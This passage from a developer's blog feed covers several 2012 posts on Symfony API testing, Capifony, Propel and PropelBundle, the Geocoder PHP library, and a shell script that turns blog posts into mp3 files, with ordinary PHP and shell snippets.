&lt;p&gt;I use to test APIs I build with functional tests, that means I consider the
system as a black box. Symfony2 embeds a nice
&lt;a href=&quot;http://symfony.com/doc/master/book/testing.html#working-with-the-test-client&quot;&gt;Client&lt;/a&gt;
which allows you to call your API methods directly in your test classes:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;nv&quot;&gt;$client&lt;/span&gt;   &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;static&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;createClient&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$crawler&lt;/span&gt;  &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$client&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;GET&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;/users&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;nv&quot;&gt;$response&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$crawler&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getResponse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;assertJsonResponse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;200&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I use to use my own &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WebTestCase&lt;/code&gt; class with a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;assertJsonResponse()&lt;/code&gt; method:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// ...&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;protected&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;assertJsonResponse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$statusCode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;200&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;assertEquals&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
            &lt;span class=&quot;nv&quot;&gt;$statusCode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$response&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getStatusCode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt;
            &lt;span class=&quot;nv&quot;&gt;$response&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getContent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;assertTrue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
            &lt;span class=&quot;nv&quot;&gt;$response&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;contains&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;Content-Type&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;application/json&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
            &lt;span class=&quot;nv&quot;&gt;$response&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;headers&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This is the first check I do after a call to the API. If it’s ok, then I can
make more assertions related to the content I fetched.&lt;/p&gt;

&lt;p&gt;When you write tests for your APIs, test everything you can think about. Don’t
forget to test bad requests, and to have at least one test method for each
status code you can return. It’s important because, even if there is a problem,
you have to return the right status code, and the right message to the clients.
A &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;500&lt;/code&gt; status code doesn’t have the same meaning than a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;400&lt;/code&gt;.&lt;/p&gt;

&lt;h3 id=&quot;documentation&quot;&gt;Documentation&lt;/h3&gt;

&lt;p&gt;Having a well documented API is really important, because it’s the only thing
your clients will have access to. You don’t provide the entire code to them,
there is just an endpoint and documentation.&lt;/p&gt;

&lt;p&gt;In a HATEOAS approach, your API is auto documented, so you don’t need to write
the documentation yourself, because your clients will discover features
themselves.&lt;/p&gt;

&lt;p&gt;But then again, having a HATEOAS API is quite complex, and it’s not so
widespread nowadays. If your API follows the level 2 of the Richardson’s model,
it’s already good, but you will have to write the documentation yourself!&lt;/p&gt;

&lt;p&gt;NelmioApiDocBundle to the rescue! I wrote this bundle at
&lt;a href=&quot;http://nelm.io&quot;&gt;Nelmio&lt;/a&gt; in order to automatically generate documentation for
our APIs. Based on code introspection, the bundle extracts a lot of information,
and displays a nice page with all information found.&lt;/p&gt;

&lt;p&gt;You now have all keys to build wonderful APIs!&lt;/p&gt;

&lt;h3 id=&quot;useful-links&quot;&gt;Useful Links &lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html&quot;&gt;RFC 2616 - Section 10 - Status Code
Definitions&lt;/a&gt;;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://tools.ietf.org/html/rfc2068#page-156&quot;&gt;RFC 2068 - Section 19.6 - Additional
Features&lt;/a&gt;;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://tools.ietf.org/html/rfc5988&quot;&gt;RFC 5988 - Web Linking&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I will probably update this post with more information, links, etc. So stay tuned!&lt;/p&gt;
</content>
    </entry>
    
    <entry>
        <title>Capifony, the cool Capistrano recipes for Symfony applications</title>
        <link href="https://williamdurand.fr/2012/06/22/capifony-the-cool-capistrano-recipes-for-symfony-applications/"/>
        <updated>2012-06-22T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2012/06/22/capifony-the-cool-capistrano-recipes-for-symfony-applications</id>
        <content type="html">&lt;p&gt;For the past two years, I have been using &lt;a href=&quot;https://github.com/capistrano/capistrano&quot;&gt;Capistrano&lt;/a&gt; to deploy my
applications, even if I sometimes rely on &lt;a href=&quot;/2012/02/25/deploying-with-git/&quot;&gt;Git to deploy&lt;/a&gt; some of them.&lt;/p&gt;

&lt;p&gt;Capistrano is fantastic! It’s a framework to run commands over SSH. You
configure the process to deploy your application once and it will work for all
servers.&lt;/p&gt;

&lt;p&gt;Capistrano is extensible. You can write your own recipes to avoid repeating
yourself. That’s what I did for a long time for my symfony 1.x projects. I never
had any issues with this recipe.&lt;/p&gt;

&lt;p&gt;For my Symfony (2.x) applications, I didn’t have to write anything, though. Not
because I’m lazy but because a wonderful project called &lt;em&gt;capifony&lt;/em&gt; already
exists!&lt;/p&gt;

&lt;p&gt;Capifony is a set of recipes for both symfony 1.x and Symfony (2.x)
applications. This project has been created by my friend @everzet and sponsored
by KnpLabs.&lt;/p&gt;

&lt;p&gt;This week, I’m really proud to announce that Konstantin gave me the keys of this
project so that I can maintain and improve it. I released &lt;a href=&quot;https://rubygems.org/gems/capifony&quot;&gt;capifony
2.1.7&lt;/a&gt; yesterday with a bunch of fixes as
well as new features. In the next weeks, I will work on updating the
documentation.&lt;/p&gt;

&lt;p&gt;The project is hosted on GitHub:
&lt;a href=&quot;https://github.com/everzet/capifony&quot;&gt;https://github.com/everzet/capifony&lt;/a&gt;. As
usual, feel free to contribute :-) To ease contributions on the documentation,
I’ve added the nice “Fork &amp;amp; Edit” feature:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2012/06/fork_and_edit_capifony.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Don’t hesitate to contribute or report issues. Your feedback is precious!
Thanks!&lt;/p&gt;

</content>
    </entry>
    
    <entry>
        <title>Introduction to Propel2 at Symfony Live 2012</title>
        <link href="https://williamdurand.fr/2012/06/08/introduction-to-propel2-at-symfony-live-2012/"/>
        <updated>2012-06-08T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2012/06/08/introduction-to-propel2-at-symfony-live-2012</id>
        <content type="html">&lt;p&gt;Here are my slides for the talk I gave this morning at &lt;a href=&quot;https://live.symfony.com/&quot;&gt;Symfony Live
2012&lt;/a&gt; in Paris.&lt;/p&gt;

&lt;script class=&quot;speakerdeck-embed&quot; data-id=&quot;4fd1d178469d200187014dff&quot; data-ratio=&quot;1.3333333333333333&quot; src=&quot;//speakerdeck.com/assets/embed.js&quot;&gt;&lt;/script&gt;

&lt;p&gt;&lt;/p&gt;
&lt;p&gt;If you attended this conference, please leave a feedback on
&lt;a href=&quot;https://joind.in/talk/view/6589&quot;&gt;joind.in&lt;/a&gt;. Cheers!&lt;/p&gt;
</content>
    </entry>
    
    <entry>
        <title>Geocoder: the missing PHP library</title>
        <link href="https://williamdurand.fr/2012/05/31/geocoder-the-missing-php5-library/"/>
        <updated>2012-05-31T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2012/05/31/geocoder-the-missing-php5-library</id>
        <content type="html">&lt;p&gt;Seven months ago, I released &lt;a href=&quot;https://github.com/willdurand/Geocoder&quot;&gt;Geocoder&lt;/a&gt;, a PHP 5.3+ library to ease geocoding
manipulations. More and more applications have to deal with geolocation and,
even if HTML5 provides a &lt;a href=&quot;https://www.w3.org/TR/geolocation/&quot;&gt;Geolocation API&lt;/a&gt;, a server-side library is always
useful. Today, this library has more than 230 watchers on GitHub and it’s time
to introduce it here.&lt;/p&gt;

&lt;p&gt;The library is standalone and split in two parts: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HttpAdapters&lt;/code&gt;, which
are responsible for getting data from remote APIs, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Providers&lt;/code&gt;, which own
the logic to extract information.&lt;/p&gt;

&lt;h2 id=&quot;adapters&quot;&gt;Adapters&lt;/h2&gt;

&lt;p&gt;There are many adapters to use Geocoder with, like
&lt;a href=&quot;https://github.com/kriswallsmith/Buzz&quot;&gt;Buzz&lt;/a&gt;,
&lt;a href=&quot;https://www.php.net/manual/en/book.curl.php&quot;&gt;cURL&lt;/a&gt;,
&lt;a href=&quot;https://github.com/guzzle/guzzle&quot;&gt;Guzzle&lt;/a&gt; and the Zend Http Client. If you want
to use another HTTP layer, you can easily write your own provider by implementing
the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HttpAdapterInterface&lt;/code&gt; interface.&lt;/p&gt;

&lt;h2 id=&quot;providers&quot;&gt;Providers&lt;/h2&gt;

&lt;p&gt;The most important part of Geocoder is probably all its providers: FreeGeoIp,
&lt;a href=&quot;https://www.hostip.info/&quot;&gt;HostIp&lt;/a&gt;, &lt;a href=&quot;https://www.ipinfodb.com/&quot;&gt;IpInfoDB&lt;/a&gt;, Yahoo! PlaceFinder, &lt;a href=&quot;https://developers.google.com/maps/documentation/geocoding/&quot;&gt;Google Maps&lt;/a&gt;, &lt;a href=&quot;https://docs.microsoft.com/en-us/bingmaps/rest-services/locations/&quot;&gt;Bing Maps&lt;/a&gt;,
&lt;a href=&quot;https://nominatim.openstreetmap.org/ui/search.html&quot;&gt;OpenStreetMaps&lt;/a&gt;, CloudMade, and even &lt;a href=&quot;https://www.php.net/manual/en/book.geoip.php&quot;&gt;Geoip&lt;/a&gt;, the PHP extension. Same thing
here, you can easily write your own provider by implementing the
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ProviderInterface&lt;/code&gt; interface.&lt;/p&gt;

&lt;p&gt;Geocoder supports both geocoding and reverse geocoding. It depends on the
provider you choose and also what you want to do. The API is really simple:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;nv&quot;&gt;$geocoder&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;err&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Geocoder\Geocoder&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$adapter&lt;/span&gt;  &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;err&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Geocoder\HttpAdapter\BuzzHttpAdapter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

&lt;span class=&quot;nv&quot;&gt;$geocoder&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;registerProviders&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;err&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Geocoder\Provider\YahooProvider&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$adapter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;API_KEY&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// IP based&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$geocoder&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;geocode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;88.188.221.14&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// Street address based&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$geocoder&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;geocode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;10 rue Gambetta, Paris, France&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// reverse geocoding&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$geocoder&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;reverse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$latitude&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$longitude&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$result&lt;/code&gt; variable is an instance of &lt;a href=&quot;https://github.com/willdurand/Geocoder/blob/master/src/Geocoder/Result/ResultInterface.php&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ResultInterface&lt;/code&gt;&lt;/a&gt;.
Again, the API is simple.&lt;/p&gt;

&lt;h2 id=&quot;dumpers&quot;&gt;Dumpers&lt;/h2&gt;

&lt;p&gt;Another feature provided by Geocoder is the ability to dump a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ResultInterface&lt;/code&gt;
object in standard formats like GPS eXchange (GPX), &lt;a href=&quot;https://geojson.org/&quot;&gt;GeoJSON&lt;/a&gt;, &lt;a href=&quot;https://en.wikipedia.org/wiki/Keyhole_Markup_Language&quot;&gt;Keyhole Markup
Language&lt;/a&gt; (KML), Well-Known Binary (WKB) or Well-Known Text (WKT). This is
too small to become a separated library and it can be helpful if you need to
share geolocated data.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;Geocoder is quite stable now. It is well integrated with &lt;a href=&quot;http://propelorm.org/&quot;&gt;Propel&lt;/a&gt; thanks to
the &lt;a href=&quot;https://github.com/willdurand/GeocodableBehavior&quot;&gt;GeocodableBehavior&lt;/a&gt; and with &lt;a href=&quot;https://www.doctrine-project.org/&quot;&gt;Doctrine&lt;/a&gt; thanks to the &lt;a href=&quot;https://github.com/KnpLabs/DoctrineBehaviors#geocodable&quot;&gt;DoctrineBehaviors&lt;/a&gt;.
Both behaviors are really powerful. Install them and your model objects
(entities) become geo-aware! For Drupal folks, &lt;a href=&quot;https://www.drupal.org/node/1334838&quot;&gt;the geocoder module should use
Geocoder&lt;/a&gt; sooner or later.&lt;/p&gt;

&lt;p&gt;Geocoder has more than ten contributors (thank you so much!!!). It is actively
maintained and already used in production! Oh and it’s well unit tested, with
more than a hundred tests and almost a thousand assertions!&lt;/p&gt;

&lt;p&gt;If you plan to deal with geocoding stuff in your PHP project, you should give
Geocoder a try ;)&lt;/p&gt;

&lt;h2 id=&quot;links&quot;&gt;Links&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://geocoder-php.org/&quot;&gt;The Geocoder website&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/willdurand/Geocoder&quot;&gt;The GitHub repository&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</content>
    </entry>
    
    <entry>
        <title>Propel and Symfony: a year ago</title>
        <link href="https://williamdurand.fr/2012/04/25/propel-and-symfony-a-year-ago/"/>
        <updated>2012-04-25T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2012/04/25/propel-and-symfony-a-year-ago</id>
        <content type="html">&lt;p&gt;Did you know that the &lt;a href=&quot;https://github.com/propelorm/PropelBundle&quot;&gt;PropelBundle&lt;/a&gt; was part of the Symfony core? Yes, at the
very beginning. It was moved out some time after. Basically, I didn’t create the
&lt;em&gt;PropelBundle&lt;/em&gt; but I started to learn Symfony by using it.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Hi,&lt;/p&gt;

  &lt;p&gt;You seem to work on the PropelBundle actively, and that’s great news. This
bundle is under my account right now because it is orphan. But if you want
to take care of the maintenance of it, then I think it’s time for your fork
to become the official repository for the bundle. What do you think?&lt;/p&gt;

  &lt;p&gt;Fabien&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;To be honest, this bundle didn’t really work and I spent a fair amount of time
to learn Symfony internals, learn Propel 1.6 internals and find ways to make
this bundle work 😅 It was fun! After a few weeks, the bundle became useful and,
at the same time, I joined &lt;a href=&quot;https://en.wikipedia.org/wiki/TF1&quot;&gt;e-TF1&lt;/a&gt; where I had the opportunity to work with
both Symfony and Propel. I could use this bundle in production!&lt;/p&gt;

&lt;p&gt;A few months later, I accepted to take the lead of the Propel project and I
added the PropelBundle as an official Propel project. It was the best choice
because people helped me a lot to improve this bundle, and now it is fully
compatible with Symfony (kudos to &lt;a href=&quot;https://github.com/havvg&quot;&gt;Toni&lt;/a&gt; who is the
PropelBundle manager). To spread the word, I also wrote exhaustive &lt;a href=&quot;http://www.propelorm.org/documentation/#working_with_symfony2&quot;&gt;documentation
about Propel and Symfony&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Making this bundle reliable and trustful was the hardest part of the work. Even
if the bundle worked great and even if we were there to answer questions or to
fix issues, it was tricky to get more users. That’s why I asked Fabien to create
a &lt;a href=&quot;https://github.com/symfony/propel1-bridge&quot;&gt;Propel Bridge&lt;/a&gt; in Symfony. It was
the first step to avoid comments like “it’s not the default ORM, lalala”. At
the same time, Symfony took the decision to be a &lt;em&gt;View Controller&lt;/em&gt; framework
without any &lt;em&gt;Model&lt;/em&gt; layer bundled by default.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Today&lt;/strong&gt;, I’m proud to announce that the last step has been unlocked thanks to
&lt;a href=&quot;https://github.com/rouffj&quot;&gt;Joseph&lt;/a&gt;. &lt;strong&gt;Propel has its own chapter in the official
Symfony book&lt;/strong&gt;, which means you have to think about which &lt;em&gt;Model&lt;/em&gt; layer to use
now. There is no more excuse to not try Propel in Symfony or to use Doctrine by
default and not by choice.&lt;/p&gt;

&lt;p&gt;Try Propel, seriously! It could fit your needs depending on what you expect. Some
great bundles already support Propel (like the FOSUserBundle). Also please avoid
comments like “Doctrine is much nicer”, which make little sense. Why is it much
nicer? I never got any good arguments in favor of Doctrine I didn’t already know.
I can hear everything that is constructive. I used Doctrine for more than six
months, both ORM and ODM (MongoDB). I have strong arguments against it but I also
like some parts of it. Who can say the same thing about Propel?&lt;/p&gt;

&lt;p&gt;Now, you have the choice. It’s up to you. Thanks!&lt;/p&gt;

</content>
    </entry>
    
    <entry>
        <title>I will be speaking at Symfony Live 2012</title>
        <link href="https://williamdurand.fr/2012/04/11/i-will-be-speaking-at-symfony-live-2012/"/>
        <updated>2012-04-11T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2012/04/11/i-will-be-speaking-at-symfony-live-2012</id>
        <content type="html">&lt;p&gt;Heya, I’m glad to announce that I will be speaking at &lt;a href=&quot;https://live.symfony.com/&quot;&gt;Symfony Live 2012&lt;/a&gt;
in Paris on June 7-8th, 2012.&lt;/p&gt;

&lt;p&gt;I will introduce &lt;a href=&quot;https://github.com/propelorm/Propel2&quot;&gt;Propel2&lt;/a&gt;, the new upcoming version of the &lt;a href=&quot;http://propelorm.org/&quot;&gt;Propel ORM&lt;/a&gt;.
I will probably explain the Propel philosophy and then more details about how
Propel works in real life, how it’s built, and some other things you will discover
if you attend my talk.&lt;/p&gt;

&lt;p&gt;To be honest, it will be my very first talk at a conference so I decided to do it
in French. I know some people complained about that but I’m not comfortable enough
with my English level to give a talk in English. That being said, I will write my
slides in English. That way, it should still be possible for those who don’t speak
French to follow my presentation.&lt;/p&gt;

&lt;p&gt;Hope to see you there!&lt;/p&gt;

</content>
    </entry>
    
    <entry>
        <title>Converting my blog posts to audio files</title>
        <link href="https://williamdurand.fr/2012/02/29/converting-my-blog-posts-to-audio-files/"/>
        <updated>2012-02-29T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2012/02/29/converting-my-blog-posts-to-audio-files</id>
        <content type="html">&lt;p&gt;Yesterday, I discovered the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;say&lt;/code&gt; command on my Mac. Its aim is to convert text
to audible speech and that works really well. Then, I had the idea of creating
audio files from my blog posts because (1) it’s fun and (2) it could possibly
improve accessibility on this website.&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;say&lt;/code&gt; command generates &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;aiff&lt;/code&gt; audio files but that isn’t supported by the
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;audio&lt;/code&gt; HTM5 tag. I converted the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;aiff&lt;/code&gt; files to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mp3&lt;/code&gt; using the well-known
&lt;a href=&quot;https://ffmpeg.org/&quot;&gt;ffmpeg&lt;/a&gt; tool.&lt;/p&gt;

&lt;p&gt;Please welcome &lt;a href=&quot;https://github.com/willdurand/Speaker&quot;&gt;Speaker&lt;/a&gt;, my fun work
from last evening! &lt;strong&gt;Speaker&lt;/strong&gt; aims to convert my blog posts written in markdown
to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mp3&lt;/code&gt; files. It is a tiny shell script I enjoyed writing.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;USAGE:
  ./speaker &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-h&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; &amp;lt;output directory&amp;gt;] &amp;lt;filename&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I used &lt;a href=&quot;https://github.com/bmizerany/roundup&quot;&gt;roundup&lt;/a&gt; to test it. I love shell
scripts but writing them without any tests is a pain, there is often a condition
that is not good, a typo, or something else. That often makes me crazy… Well,
problem solved with &lt;strong&gt;roundup&lt;/strong&gt;!  Here is my test suite output:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;./speaker-test.sh
speaker
it_shows_help_with_no_argv:                      &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;PASS]
it_shows_help_with_h_option:                     &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;PASS]
it_creates_mp3_file:                             &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;PASS]
it_creates_mp3_file_in_existing_directory:       &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;PASS]
it_creates_mp3_file_in_new_directory:            &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;PASS]
&lt;span class=&quot;o&quot;&gt;=========================================================&lt;/span&gt;
Tests:    5 | Passed:   5 | Failed:   0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;To sanitize the text to speech, I used some regular expressions. It probably
needs some improvements but it works pretty well:&lt;/p&gt;

